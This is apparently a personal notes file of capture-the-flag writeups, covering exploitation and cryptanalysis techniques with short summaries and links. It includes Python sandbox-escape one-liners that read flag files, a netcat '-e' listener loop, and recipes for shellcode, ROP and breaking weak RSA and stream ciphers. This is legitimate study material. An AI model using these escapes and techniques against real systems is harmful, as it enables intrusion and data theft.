hqSqU297

1# NOTES ON PAST CTFS WRITEUPS
2
3# exploit {{{
4* python sandbox/jail escapes
5http://gynvael.coldwind.pl/n/python_sandbox_escape
6print(().__class__.__bases__[0].__subclasses__()[40]('./key').read()) (pybabbies - csaw-ctf-2014)
7{}.__class__.__base__.__subclasses__()[40]("/home/john/flag.txt").read() (exploit300 - volga-quals-2014)
8http://tasteless.eu/post/2014/01/phd-ctf-quals-2014-pyjail/
9http://eindbazen.net/2013/04/pctf-2013-pyjail-misc-400/
10
11* 4stone -doraemon - codegate-preliminary-2014
12disable aslr with ulimit -s unlimited
13gdb trick to find location of tls block (to overwrite location of kernel_vsyscall)
14shellcode in env with shortjumps (\xeb\02) to jump over env var key and equal sign
15trampoline to env found in libc (no longer randomized)
16https://github.com/maraud3rs/writeups/tree/master/codegate_4stone
17
18* angrey-doraemon - codegate-preliminary-2014
19stack overflow with canary bypass (leak)
20http://v0ids3curity.blogspot.com.au/2014/02/codegate-ctf-quals-2014-angry-doraemon.html
21
22* minibomb - codegate-preliminary-2014
23rop to call execve
24set eax via filling socket (write call returns actual byte count written)
25set ebx via gadget that sys_read from fd=1 (our socket)
26ecx is our argv
27http://mslc.ctf.su/wp/codegate-2014-quals-minibomb-pwn-400/
28
29* gynophage 4 - defcon-ctf-quals-2014
30shellcode polyglot (x86, ppc, armel, armeb)
31https://github.com/ctfs/write-ups-2014/tree/master/def-con-ctf-qualifier-2014/polyglot
32
33* nibble - nuit-du-hack-ctf-qualifications 2014
34pop + plt overwrite
35http://blog.dragonsector.pl/2014/04/nuit-du-hack-ctf-quals-2014-nibble.html
36
37* ezhp - plaid-ctf-2014
38heap overflow
39https://blog.skullsecurity.org/2014/plaidctf-writeup-for-pwnage-200-a-simple-overflow-bug
40http://danuxx.blogspot.ch/2014/04/plaidctf-2014-ezhp-heap-overflow.html
41while :;do nc -lnvp 4444 -e ./ezhp;done
42socat tcp-listen:4444,fork exec:./ezph
43
44* remote print - internetwache-ctf-2016
45format string
46https://github.com/ctfs/write-ups-2016/tree/master/internetwache-ctf-2016/exploit/remote-printer-80
47
48* equationsolver - internetwache-ctf-2016
49integer overlow
50http://poning.me/2016/03/04/equationsolver/ they used z3 to solve this one
51https://github.com/ctfs/write-ups-2016/tree/master/internetwache-ctf-2016/exploit/equationsolver-60
52
53* secure file reader - nuitduhack-quals-2016
54rop and race condition
55http://maroueneboubakri.blogspot.com.au/2016/04/nuit-du-hack-quals-secure-file-reader.html
56
57* quine - icectf-2016
58service accepts C code and runs it
59# }}}
60
61# crypto {{{
62* polictf-2012
63ECC / ECDLP on anomalous curve
64http://mslc.ctf.su/wp/polictf-2012-crypto-500/
65
66* rsa - pico-ctf-2013
67p, q, e and c provided
68use gmpy2 to decrypt ciphertext
69https://github.com/ctfs/write-ups-2013/tree/master/pico-ctf-2013/rsa
70
71* BREW'r'Y - hack-lu-ctf-2013
72graphs hamilton
73http://mslc.ctf.su/wp/hack-lu-2013-ctf-crypto-350-brewry/
74
75* ECKA - hack-lu-ctf-2013
76elliptic curve key agreement and diffie-hellman key exchange
77https://stratum0.org/blog/posts/2013/10/26/hack-dot-lu-2013-ecka/
78
79* FluxArchiv - hack-lu-ctf-2013
80home-made archive with scrambled pw (part1)
81find rc4-encrypted flag (part2) one team recontructed the keystream by using 2 encrypted archives that have the same content
82
83* Geier's Lambda - hack-lu-ctf-2013
84xTea cipher
85easy to find a collision because cipher only used first 4 chars of the key
86
87* maving is plain-Jane - hack-lu-ctf-2013
88Menezes-Vanstone, elliptic curve
89if you know one part of the plain text, you are able to calculate the other one
90
91* cryptomatv2 - csaw-quals-2013
92sqli via aes-128-cbc
93we can recover the IV that the webapp uses for aes-128-cbc because we can use the app to encrypt a message with our key and download the ciphertext
94encrypt a plaintext "abcdabcdabcdabcdabcdabcdabcdabcd" with a key "abcdabcdabcdabcd" via the webapp
95returned ciphertext: mq8jyy5npsr3t1DR/33B4ZlY304+NOCGLXGp7stWcKk=
96decrypt it with key "abcd" and a zero IV ('\0'*16) gives us the plaintext: Y Q"S30PYR4]XZ- abcdabcdabcd 
97XOR the first 16 bytes with "abcdabcdabcdabcd" gives the IV: 8k2F2QS480W998Nm
98http://blog.dragonsector.pl/2013/09/csaw-ctf-quals-2013-cryptomatv2-web-4002.html
99
100* csawpad - csaw-quals-2013
101stream cipher, same pad was used for all the ciphertexts (i.e. not a one-time pad at all!)
102guess the pad by trying to decrypt the first byte of each known ciphertext with 0-255 and discarding candidate when decrypted byte not in charset
103then bruteforce the rest of the pad
104http://delogrand.blogspot.com.au/2013/09/csaw-quals-2013-csawpad-cryptography-100.html
105
106* otp - 31c3-ctf-2014
107meet in the middle to forge valid otp
108precompute hashes of 3 byte and try to find a match when creating 4 byte hashes
109https://github.com/ctfs/write-ups-2014/tree/master/31c3-ctf-2014/crypto/otp
110
111* sso - 31c3-ctf-2014
112forge cookie because stream cipher without random iv
113https://github.com/ctfs/write-ups-2014/tree/master/31c3-ctf-2014/crypto/sso
114
115* hwaes - 31c3-ctf-2014
116aes key expansion
117we provide an aes key, server encrypts our data, then changes the aes key
118we can recover the original master from the derived key
119https://github.com/ctfs/write-ups-2014/tree/master/31c3-ctf-2014/crypto/hwaes
120
121* archaic - asis-ctf-quals-2014
122break merkle-hellman cryptosystem using LLL lattice reduction algo
123https://github.com/ctfs/write-ups-2014/tree/master/asis-ctf-quals-2014/archaic
124
125* decrypt-img - boston-key-party-2014
126bmp encrypted with 56-byte key
127bmp header is 54-byte so we can recover the key by xoring the first 54 bytes of the encrypted bmp
128https://hexpresso.wordpress.com/2014/03/02/bkp-ctf-decrypt-img-write-up/
129
130* xorxes - boston-key-party-2014
131hash collision due to using xor and bit shifting
132https://ctfcrew.org/writeup/29
133
134* mitm_ii - boston-key-party-2014
135mitm attack with pubkey exchange
136
137* differential power - boston-key-party-2014
138tea cipher
139used z3 to recover key
140http://mslc.ctf.su/wp/boston-key-party-ctf-differential-power-crypto-400/
141
142* psifer_school - csaw-cft-2014
143caesar, scytale and vigenere
144
145* crypto100 - confidence-ds-ctf-teaser-2014
146lotto with big bias on validation code (random salt) so we can map numbers to round uuids and only play when we can win for sure
147
148* crypt400 - defkthon-ctf-2014
149solve simple maths using fermat's little theorem
150http://blog.0xdeffbeef.com/2014/03/defkthon-ctf-2014-find-flag-crypto-400.html
151
152* pillowtalk - ghost-in-the-shellcode-2014
153keystream reuse (stream cipher)
154https://github.com/ctfs/write-ups-2014/tree/master/ghost-in-the-shellcode-2014/pillowtalk
155
156* wiener - hack-lu-ctf-2014
157rsa wiener
158https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/wiener
159
160* douchemac - hack-lu-ctf-2014
161dbus and bypass CBC-MAC hmac authentication
162https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/douchemac
163
164* peace pipe - hack-lu-ctf-2014
165mitm with pubkey' = -pubkey % p
166https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/peace-pipe
167
168* cryptonet - hack-you-2014
169we have a lot of flags encrypted with the same e=17, but with different modulos
170encflag1 = (flag^17) % n1, encflag2 = (flag^17) % n2, etc. we can find flag^17 using the Chinese Remainder Theorem (CRT)
171and recover flag by calculating its 17th root
172http://www.pwntester.com/blog/2014/01/17/hackyou2014-crypto400-write-up/
173
174* easy one - hack-you-2014
175crypto maison
176recover key because we have plaintext & ciphertext
177http://www.pwntester.com/blog/2014/01/16/hackyou2014-crypto100-write-up/
178
179* hashme - hack-you-2014
180recover key via xor(plaintext, ciphertext), hash length extension and parameter pollution
181http://www.pwntester.com/blog/2014/01/16/hackyou2014-crypto200-write-up/
182
183* matrix - hack-you-2014
1844x4 matrix encryption system
185reversible using inverse matrixes
186we can recover key K because: E = P * K then P.I * E = P.I * P * K so K = P.I * E (P.I is the inverse of P)
187encrypted file is a WMV video, so we can use the 16-byte magic number to recover the key
188http://www.pwntester.com/blog/2014/01/16/hackyou2014-crypto300-write-up/
189
190* mic - olympic-ctf-2014
191chinese remainder
192we send to server prime p and base g
193server sends pow(g*flag, flag, p) * flag + flag mod p
194we can get rid of powered flag by sending p-g
195https://github.com/ctfs/write-ups-2014/tree/master/olympic-ctf-2014/mic
196
197* mars - phd-ctf-quals-2014
198client sends n1 to server
199server sends n2 to client
200client sends c1 to server
201server sends c2 to client
202gcd = egcd(n1, n2)[0]
203p = n1 / gcd
204p2 = n2 / gcd
205lets assume plaintext message m is a number < p (i.e. it was not padded)
206so pow(m, e, n) % p == pow(m, e, p) and d = invmod(e, phy(p)) and p is prime so phy(p) == p-1
207we recover d = invmod(0x010001, p-1) and m = pow(c, d, p)
208http://blog.ptsecurity.com/2014/05/phdays-ctf-quals-tasks-analysis.html
209
210* wheeeee - plaid-ctf-2014
211encryption oracle
212slide attack: https://fail0verflow.com/blog/2014/plaidctf2014-crypto375-wheeeee.html
213
214* tls - ructf-2014-quals
215decrypt tls because client uses non-random number generator (always returns 1337)
216we recover the client secret exponent from diffie-hellman key exchange
217we compute Pre-Master Secret and then the Master Secret as PRF for wireshark
218http://blog.dragonsector.pl/2014/03/ructf-2014-quals-tls-crypto-300.html
219
220* pillow - secuinside-ctf-prequal-2014
221TO READ
222https://github.com/ctfs/write-ups-2014/tree/master/secuinside-ctf-prequal-2014/pillow
223
224* crypto100 - volga-quals-2014
225ciphertext is a big number, we have an encryption oracle, each letter is assigned a number and an exponent depending on its position
226they are all multiplied together to produce the ciphertext
227need to factorize the ciphertext to find which letters were used
228https://github.com/ctfs/write-ups-2014/tree/master/volga-quals-2014/crypto/100
229
230* another one - nuit-du-hack-ctf-qualifications 2014
231encrypted bmp in ecb mode. Assume all identical 16-byte blocks are white pixels, anything else is black pixels.
232https://doegox.github.io/ElectronicColoringBook/
233
234* twenty - plaid-ctf-2014
235vigenere cracked using hill climbing
236
237* rsa - plaid-ctf-2014
238partially masked RSA private key (paper/tools can recover it as long as 27% of bits are known)
239
240* graphs - plaid-ctf-2014
241rien compris
242https://github.com/ctfs/write-ups-2014/tree/master/plaid-ctf-2014/graphs
243
244* parlor - plaid-ctf-2014
245md5 hash length extension attack
246https://fail0verflow.com/blog/2014/plaidctf2014-crypto250-parlor.html
247
248* rsaha - hitcon-ctf-2014
249Franklin-Reiter Related Message attack
250the 2 plaintexts only differ by a known fixed difference allowing their ciphertext to be decrypted
251server sends: n, m^3 % n and (m+1)^3 % n
252we can recover m with: ((m+1)^3 + 2*m^3 - 1) / ((m+1)^3 - m^3 + 2) = m mod n
253    http://pastie.org/9482057
254f = (m+1)^3 + 2*m^3 - 1 % n
255g = (m+1)^3 - m^3 + 2 % n
256m = (f * gmpy.invert(g, n)) % n
257
258    http://pastebin.com/4SQhQXHb
259    <ricky> You're given m^3 and (m+1)^3 = m^3 + 3m^2 + 3m + 1
260    <ricky> From this you can compute m^2 + m + 1
261    <ricky> m^3 - 1 = (m - 1)(m^2 + m + 1)
262
263* emdee - olympic-ctf-2014
264md5(salt + input + timestamp)
265%7f deletes previous salt chars so we can recover salt
266http://www.pwntester.com/blog/2014/02/09/olympic-ctf-curling-tasks/#curling300emdee
267
268* rsa-mistakes-200 - pico-ctf-2014
269two messages related to each other (i.e. have almost the same content (specifically content := unique-prefix + flag) , encrypted by the same public key
270https://github.com/ctfs/write-ups-2014/tree/master/pico-ctf-2014/master-challenge/rsa-mistakes-200
271
272* block - pico-ctf-2014
273meet in the middle to recover the 2 keys used in a substituion-permutation cryptosystem
274https://ehsandev.com/pico2014/cryptography/block.html
275
276* substitution - pico-ctf-2014
277break substitution cipher
278https://ehsandev.com/pico2014/cryptography/substitution.html
279
280* revenge - pico-ctf-2014
281forge rsa signature
282https://ehsandev.com/pico2014/cryptography/revenge.html
283
284* ecc - pico-ctf-2014
285y^2 = x^3 + a(x) + b mod n
286we have C (X, Y), a, and n but not b
287we recover b then decrypt C
288https://ehsandev.com/pico2014/cryptography/ecc.html
289
290* related - ructf-2014-quals
291Franklin-Reiter Related Message attack
292we have c1 and c2 (m1 = m.'Jane', m2 = m.'Alex')
293m^e - c1 = 0 mod n and (m+delta)^e - c2 = 0 mod n with delta=s2int("Jane")-s2int("Alex") and def s2int(x): int(x.encode("hex"), 16)
294get gcd(m^e - c1, (m+delta)^e - c2) => x-d1 (x=(m+delta) and d1 is a decrypted c1)
295
296* decrypt it - seccon-ctf-2014
297encrypted file is xored with rand() seeded with the file's timestamp
298then rabin asymetric cryptosystem
2992 solutions: bruteforce or Chinese remainder theorem
300
301* wtc rsa bbq - tinyctf-2014
302twin primes, modulus very close to a power of 2
303we can start factoring from the square root of the modulus
304https://github.com/ctfs/write-ups-2014/tree/master/tinyctf-2014/wtc-rsa-bbq
305
306* old cryptography - 0ctf-2015
307poly-alphabetic substitution with a non-uniform shift
308https://b01lers.net/challenges/0ctf/Old%20cryptography/39/
309
310* rsaquine - 0ctf-2015
311rsa chinese-reminder nopadding msieve
312need to find m so m^e = m % p and m^e = m % q
313and m^(e - 1) = 1 % p (same applies for q hereafter)
314we find g a generator so g^k != 1 % p for 0<k<p-1
315and g^(k*(p-1)) = 1 % p for all k>=0
316for each m with 0<m<p there exists a x so that m = g^x % p
317so we need to find x such that g^(x*(e-1)) = 1 % p
318the solutions are solutions of the equation k*(p-1) = x*(e-1)
319http://tasteless.eu/post/2015/03/0ctf-2015-rsaquine/
320
321* rsasr - asis-finals-ctf-2015
322emirp, sqrt(N) has 155 digits so we need to figure out 77 digits on each side
323https://github.com/ctfs/write-ups-2015/tree/master/asis-finals-ctf-2015/crypto/RSASR
324
325* honeywwall - asis-finals-ctf-2015
326egcd, we have c = msg_0^e %N_0 and c2 = msg_0^e2 % N_0 (flag is msg_0)
327we find x and y such that xe + ye2 = 1
328we recover msg_0 with c^x * c2^y % N_0 
329because msg_0^(xe) * msg_0^(ye2) % N_0 = msg_0^(xe+ye2) % N_0 = msg_0 % N_0 = msg_0
330https://kt.pe/blog/2015/10/asis-2015-finals-honeywall/
331
332* giloph - asis-finals-ctf-2015
333diffie-hellman with pohlig-hellman attack due to smooth p-1 that can be factored into small factors
334http://blog.squareroots.de/en/2015/10/asis-ctf-finals-2015-giloph-crypto-300/
335
336* sed - asis-finals-ctf-2015
337DES with 10 different keys Ek10=keys[10](Ek9=keys[9](Ek8...
338and bruteforce k1 & k2 so that Ek1(Ek2(plain)) = plain
339http://blog.squareroots.de/en/2015/10/asis-ctf-finals-2015-10-sed-crypto-175/
340
341* angler - asis-quals-ctf-2015
342simple permutation cipher with a key of 13
343https://github.com/ctfs/write-ups-2015/tree/master/asis-quals-ctf-2015/crypto/angler
344
345* falsecrypt - asis-quals-ctf-2015
346NTRU publickey cryptosystem that cant be broken by Shor's algorithm
347https://github.com/ctfs/write-ups-2015/tree/master/asis-quals-ctf-2015/crypto/falsecrypt
348
349* golden metal - asis-quals-ctf-2015
350Goldwasser-Micali cryptosystem solved with msieve factorization
351https://github.com/ctfs/write-ups-2015/tree/master/asis-quals-ctf-2015/crypto/golden-metal
352
353* cross check - asis-quals-ctf-2015
354p very close from q, use fermat  to recover factors
355a = fermat(N, N1, N2) with N = N1 * N2 = p1*q1*p2*q2
356then p1 = gcd(N1, a) and q1 = N1 / p1
357https://b01lers.net/challenges/ASIS%202015/Cross%20Check/52/
358
359* rsanne - backdoor-ctf-2015
360modulus consists of 2281 1s followed by 2203 0s, allowing factorization: (2^2281 - 1)(2^2203 - 1)
361
362* rsalot - backdoor-ctf-2015
363100 public keys and an RSA-encrypted flag file
364two keys must have a moduli n with a common prime factor (can be p or q but it was p in this task)
365we find the two keys where n1 = p*q1 and n2 = p*q2 (or n1 = p1*q or n2 = p2*q)
366we can then easily factor n1 and n2 by calculating the gcd of n1 and n2: gcd(n1, n2) = p (see gcd.py)
367then use rsatool.py -p .. -q .. -o private.pem and openssl rsautl ...
368
369* weak_enc - bctf-2015
370lzm compression before encryption = side-channel attack
371server encrypts our input as lzm(salt||$input), we can deduce chars in salt by looking at length of ciphertext
372first submit empty empty input to have the length of compressed salt
373then submit every bigrams to server to find what bigrams are in salt, then do same for trigrams, quadgrams etc. until the first n-gram doesnt yield any new info
374once we have a set of n-grams comprising the salt, we try every combination offline to match the null ciphertext
375once we have reovered salt, we decrypt target ciphertext by constructing a reverse LSW dictionary
376https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/BCTF/crypto/weak_enc
377
378* warmup - bctf-2015
379rsa wiener
380https://github.com/ctfs/write-ups-2015/tree/master/bctf-2015/crypto/warmup
381
382* wood island - boston-key-party-2015
383el gamal signature, provided sigs with r reused we can recover private key
384https://github.com/ctfs/write-ups-2015/tree/master/boston-key-party-2015/crypto/wood-island
385had also an unintended way
386server used the python json library to decode the string into a dict and the
387is_duplicate() check was a simple “user_dict in list” so adding a field to the
388json was enough to pass the check.
389
390* orient heights - boston-key-party-2015
391same as wood island is_duplicate() just compared the binary ASN1 encoding; so again adding a field caused it to fail.
392https://r3dey3.com/2015-03/bkpctf-wood-island-and-orient-heights/
393
394* wonderland - boston-key-party-2015
395elliptic curve discrete logarithm problem solved using a twist attack on a Montgomery ladder
396and apply Chinese Remainder Theorem to recover the key
397the actual attack, then, uses a variation of Pollard's Rho algorithm to compute the discrete logarithms
398https://github.com/ctfs/write-ups-2015/tree/master/boston-key-party-2015/crypto/wonderland
399
400* bowdoin - boston-key-party-2015
401partially masked RSA private key (partial p & q)
402http://gnoobz.com/bkpctf-2015-bowdoin-writeup.html
403
404* airport - boston-key-party-2015
405timing oracle, modular exponentiation, square-and-multiply
406https://github.com/ctfs/write-ups-2015/tree/master/boston-key-party-2015/crypto/airport
407
408* good crypto - codegate-ctf-2015
409flag is the passphrase that was converted into the wep key
410wep uses a LCG (linear congruental generator) prng, seed is generated from the passphrase
411and the wep key is generated by using the 3rd byte of the 5 first numbers from the lcg prng
412https://github.com/ctfs/write-ups-2015/tree/master/codegate-ctf-2015/programming/good-crypto
413
414* rsaq - pragyan-ctf-2016
415same as rsalot but q is the common prime factor
416
417* haunted 1's - pragyan-ctf-2015
418ciphertext only consists of 0s or digits in the 2-9 range. Replace everything that is not 0 with 1, binary becomes ascii.
419
420* substitution - pragyan-ctf-2015
421we are given the start of the key ("prgyan"), decipher msg with:
422'dhkuagsn'.translate(string.maketrans("prgyanbcdefhijklmoqstuvwxz", "abcdefghijklmnopqrstuvwxyz"))
423
424* weak rsa - pragyan-ctf-2015
425twin primes, pubkey can be factorized using fermats -> p & q recovered
426rsatool.py takes p & q to create privatekey.pem
427openssl rsautl -in ct.bin -inkey privatekey.pem -decrypt -raw to decrypt message
428
429* substitution - breakin-ctf-2015
430https://github.com/ctfs/write-ups-2015/tree/master/break-in-ctf-2015/crypto/substitution
431
432* ts-sci-nz - bsides-vancouver-ctf-2015
433keypad cipher
434https://github.com/ctfs/write-ups-2015/tree/master/bsides-vancouver-ctf-2015/crypto/ts-sci-nz
435
436* salt - hack-lu-ctf-2015
437Box NaCl using Curve25519, Poly1305 (for signing) and XSalsa20 (for encrypting) which is simple XOR
438we recover text with (text XOR key) XOR (known_text XOR key) XOR (known_text) => text XOR (known_text XOR known_text) XOR (key XOR key) => text XOR 1 XOR 1 => text
439https://github.com/ctfs/write-ups-2015/tree/master/hack-lu-ctf-2015/crypto/salt
440
441* id love to turn you on - hackcon-2015
442decrypt using online enigma machine
443http://vimvaders.github.io/hackcon2015/2015/08/20/id-love-to-turn-you-on.html
444
445* rsabin - hitcon-ctf-quals-2015
446flag size bigger than modulus, we need to bruteforce 22 lost bits (feasible because flag only contains printable chars)
447exponent is not invertible so we use the pseudoinverse and the Eli Bendersky's modular_sqrt function to compute 16th roots of c**d
448https://ctftime.org/task/1753
449
450* poooooooow - hitcon-ctf-quals-2015
451submit x to server with 0<x<p, server returns x^flag % p
452best algo to compute discrete logarithm in a group requires more than O(sqrt(q)) time where q is the largest prime factor of the order of the base number
453here it would be too slow because
454p-1 = 2 * 3^336 * q (with q = 475...41 way too big)
455but 2 is a primitive root modulo p, so x = 2^q has order 2*3^336 which is long enough for the flag (which is 50 characters) and only has small prime factors
456so we send x = 2^q to server, server returns y and we can solve with Sage:
457p, y = .., ..
458x = 2**q
459print 'flag is:', long_to_bytes(discrete_log(Mod(y, p), Mod(x, p)))
460
461* simple - hitcon-ctf-quals-2015
462aes cfb forge {"admin":true} by xoring first encrypted block with known plaintext: '{"username":"b",' and discard the other blocks
463http://nusgreyhats.org/write-ups/HITCONCTF-Quals-2015-Simple-(Crypto-100)/ https://ctftime.org/task/1754
464
465* agents - icectf-2015
466rsa broadcast attack but with plaintext bigger than any agent's modulus
467need to gather more keys and ciphertexts to have CRT recover the plaintext
468http://blog.atx.name/icectf/#Agents
469
470* alicegame - mma-ctf-2015
471elgamal encryption service
472server sends c1 = g^h % p and c2 = m * h^r % p so we send m=1 and r=1 to recover g and h then send m=-1 and r=1 to recover p because c2 = p - h
473poll service untill we get a smooth p-1 so we can compute the discrete log via Pohlig-Hellman
474https://github.com/pwning/public-writeup/blob/master/mma2015/crypto250-alicegame/writeup.md
475
476* LCGSign - mma-ctf-2015
477two messages signed using DSA related to each other because the secret "random" was generated by a linear-congruential RNG (LCG)
478https://github.com/pwning/public-writeup/blob/master/mma2015/crypto400-lcgsign/writeup.md
479
480* signer and verifier - mma-ctf-2015
481forge RSA signature because modular exponentiation distributes over modular multiplication
482server has 2 endpoints: signer and verifier
483we need to send the signature of the given msg to the verifier to get flag
484we cannot just ask the signer to sign the given msg obviously
485so we send send msg/divisor to signer to get sig0 and we send divisor to signer to get sig1
486and we now have forged the valid signature: sig0 * sig1 % n
487https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/MMACTF/crypto/signerverifier
488
489* motto-mijkai-address - mma-ctf-2015
490exploit linearity of CRC: CRC(a^b^c) = CRC(a) ^ CRC(b) ^ CRC(c).
491exploit polynomial of HMAC
492https://github.com/ctfs/write-ups-2015/tree/master/mma-ctf-2015/web/motto-mijkai-address-400
493
494* curious - plaidctf-2015
495rsa wiener
496https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/crypto/curious
497
498* strength - plaidctf-2015
499egcd, we have (N, e1, c1) and (N, e2, c2) such that gcd(e1, e2) = 1 then we can do egcd(e1, e2) = a1e1 + a2e2 = 1.
500c1^a1 * c2^a2 = (m^e1)^a1 * (m^e2)^a2 = m^(e1a1) * m^(e2a2) = m^(e1a1 + e2a2) = m^1 = m (all mod N)
501in this case a2 is negative so we have to find the modular multiplicative inverse of the corresponding
502ciphertext c2 and calculate b = (gcd(e1, e2)-(a*e1))/e2 so we can calculate c1^a1 * modinv(c2, N)^(-b) % N = m
503https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/PCTF/crypto/strength
504
505* lazy - plaidctf-2015
506Merkle-Hallman knapsack cryptosystem
507use lattice and using LLL reduction
508http://gnoobz.com/plaid-ctf-2015-lazy-writeup.html
509
510* crib drag - sCTF-2015
511one time pad used more than once (i.e. to encrypt 2 or more plaintexts)
512we can recover the plaintexts without knowing the key using the crib drab method
513
514* tum-ctf-teaser-2015
515huge RSA private key (d has over four million bits)
516we can determine the factors of n given a pair (e, d) using Dan Boneh’s paper (http://www.ams.org/notices/199902/boneh.pdf)
517https://hxp.io/blog/20/TUMCTF%20Teaser%202015:%20crypto150%20%22really_slow_arithmetic%22%20writeup/
518
519* cpkc - volgactf-quals-2015
520LLL-based attack on NTRUEncrypt-like cryptosystem
521we need to find small values, so we solve this using LLL algorithm
522http://mslc.ctf.su/wp/volgactf-quals-2015-cpkc-crypto-400-writeup/
523
524* lcg - volgactf-quals-2015
525recover 3 successive outputs to clone the LCG PRNG
526LCGs aren't cryptographically secure PRNGs as the internal states and the initial state can be easily recovered from a series of 3 successive outputs
527we can see encrypt is a stream cipher that xors the plaintext with the
528continuous output of the LCG PRNG which is seeded with a randomly generated
529768-bit key. Both the challenge name and the fact that each PRNG state is
530defined as state[i+1] = (a*state[i] + b) mod m indicate that the PRNG is a
531linear congruential generator.
532https://github.com/smokeleeteveryday/CTF_WRITEUPS/blob/master/2015/VOLGACTF/crypto/lcg/README.md
533
534* rsa - volgactf-quals-2015
535rsa wiener (huge public exponent may mean small private exponent)
536https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/VOLGACTF/crypto/rsa
537
538* collision course - backdoor-ctf-2016
539solve Merkle-Damgård-like hashing structure via bruteforce: test all x so that B0 == H(x) << 7
540then take the next block and solve (H(x) ^ B0) << 7 and so on
541https://github.com/ctfs/write-ups-2016/tree/master/backdoor-ctf-2016/crypto/collision-course-350
542
543* forge - backdoor-ctf-2016
544part1: crc32 collisions, submit 5 pngs with identical pixels and the same crc32 as the provided png
545part2: md5 collisions, submit 8 files having the same MD5. Use fastcol https://marc-stevens.nl/research/
546https://github.com/p4-team/ctf/tree/master/2016-06-04-backdoor-ctf/crypto_forge
547
548* baby - backdoor-ctf-2016
549Bleicherbacher e=3 RSA attack against signature verification
550https://grocid.net/2016/06/05/backdoorctf16-baby/
551
552* crc - backdoor-ctf-2016
553many encrypted zip files that uncompress to 5 byte files
554we can brute force each file contents because ZIPs contain CRC32 of their uncompressed files
555https://github.com/ctfs/write-ups-2016/tree/master/backdoor-ctf-2016/crypto/crc-250
556
557* mindblown - backdoor-ctf-2016
558PBKDF2 + HMAC collision
559https://mathiasbynens.be/notes/pbkdf2-hmac http://rawsec.ml/en/writeups-crypto-mindblown/
560
561* level0x3 - eff-ctf-2016
562one letter is "encrypted" into 4 numbers but the sum of all 4 numbers is always the same value
563
564* level0x5 - eff-ctf-2016
565rsa public exponent very small (3)
566see small-exponent.py
567
568* trivia300 - nullcon-hackim-2016 
569Bill's Cipher (funky substituion cipher for kids) "Gravity Falls"
570
571* crypto1 - nullcon-hackim-2016 
572given ciphertext and cleartext, XOR both to get key and decrypt another ciphertext
573
574* crypto5 - nullcon-hackim-2016 
575given several public RSA keys and a ciphertext, python script
576interestingly, the ciphertext was encrypted using the private key
577in RSA, either key in a keypair can be used as the private or public component
578
579* rail fence - su-ctf-2016
580see break_transposition_railfence.py
581
582* zeus - su-ctf-2016
583encoding with hamming code and interleaved with helical scan matrix
584https://github.com/p4-team/ctf/tree/master/2016-02-05-sharif/crypto_300_zeus
585
586* british elevator - su-ctf-2016
587elliptic curves
588http://hxp.io/blog/25/
589
590* crypto pirat - internetwache-ctf-2016
591each symbol maps to a planet number -> German Stasi TAPIR decoding -> morse code
592https://losfuzzys.github.io/writeup/2016/02/21/iwctf2016-crypto-pirat/
593
594* oh bob - internetwache-ctf-2016
5953 small pubkeys (228 bit) we can factor egcd (or yafu)
596https://www.xil.se/post/internetwache-2016-crypto60-kbeckmann/
597
598* vigenere - pragyan-ctf-2016
599flag.txt: loi wtnk az cyhimzm8kka12mo (vigenere)
600found key using the "tabula recta" (http://practicalcryptography.com/ciphers/vigenere-gronsfeld-and-autokey-cipher/)
601loi wtnk az cyhimzm8kka12mo (vigenere)
602the flag is
603SHE RINE SH
604key was "SHERINE" and can be used to decrypt the rest
605
606* a number's game - internetwache-ctf-2016
607use sympy to solve equations
608
609* its prime time - internetwache-ctf-2016
610provided a number, find next prime (sympy works)
611
612* hashdesigner - internetwache-ctf-2016
613find collision for custom hash
614
615* eso-tape - internetwache-ctf-2016
616implement an interpreter for the TapeBagel esoteric language
617
618* hmac crc - boston-key-party-2016
619rewrite inner CRC as a polynomial mod CRC_POLY so we can rewrite HMAC as a polynomial
620https://github.com/DeliciousHorse/2016.03.BostonKeyParty/blob/master/hmac_crc.md
621atl solution: hmac is linear
622when we flip one bit in key, all bits of the output depending on this bit also flip with no matter of other bits in key
623use gauss-jordan algorithm to compute which bits in key need to flip if I want flip one bit in signature at given position
624https://github.com/raccoons-team/ctf/tree/master/2016-03-07-boston-key-party-ctf/crypto_5_hmac_crc
625
626* des ofb - boston-key-party-2016
627des in stream cipher mode with a weak key == keystream repetition
628
629* bobs hat - boston-key-party-2016
630l1: rsa with p and q similar -> easy to factor 1024 modulus
631l2: 2 moduli with a common factor
632l3: q is small so we can easily factorize the modulus
633l4: wiener attack (huge exponent)
634
635* ltseorg - boston-key-party-2016
636groestel hash collision
637quick win with 00 turning into padding (https://0day.work/boston-key-party-ctf-2016-writeups/#ltseorg)
638expected solution: https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2016/BKPCTF/crypto/ltseorg
639
640* more like zkp - boston-key-party-2016
641graph 3-coloring
642https://github.com/ctfs/write-ups-2016/tree/master/boston-key-party-2016/crypto/more-like-zkp-4
643
644* equation - 0ctf-2016
645recovering a partially masked RSA private key
646https://0day.work/0ctf-2016-quals-writeups/ https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/equation
647
648* rsa? - 0ctf-2016
649modulus factored into 3 primes
650solve with gauss and wolframalpha and crt
651https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/rsa
652
653* special rsa - bctf-2016
654not rsa (it's the secret k that is powed, not m). We can recover k with egcd
655c = k^r * m mod N (we know c, r, m and N and we have 2 plaintexts and 2 ciphertexts with the same k)
656c1 = k^r1 * m1 mod N and c2 = k^r2 * m2 mod N
657k^r1 = c1 * m1^-1 mod N, k^r2 = c2 * m2^-1 mod N
658egcd(r1, r2) returns g, a, b with  (a * r1) + (b * r2) == 1
659(k^r1)^a * (k^r2)^b = k^(a*r1 + b*r2) = k^1 = k
660https://gist.github.com/elliptic-shiho/489804cd675ed11d7adb
661https://cryptsec.wordpress.com/2016/03/21/bctf-2016-write-up-special-rsa-crypto-200/ (sage script)
662
663* one one zero - camctf-2016
664weak public key (330 bit) found on factordb.com
665chunks too small to be decrypted with openssl rsautl, so wrote decrypt-rsa.py
666
667* xxy - volga-ctf-quals-2016
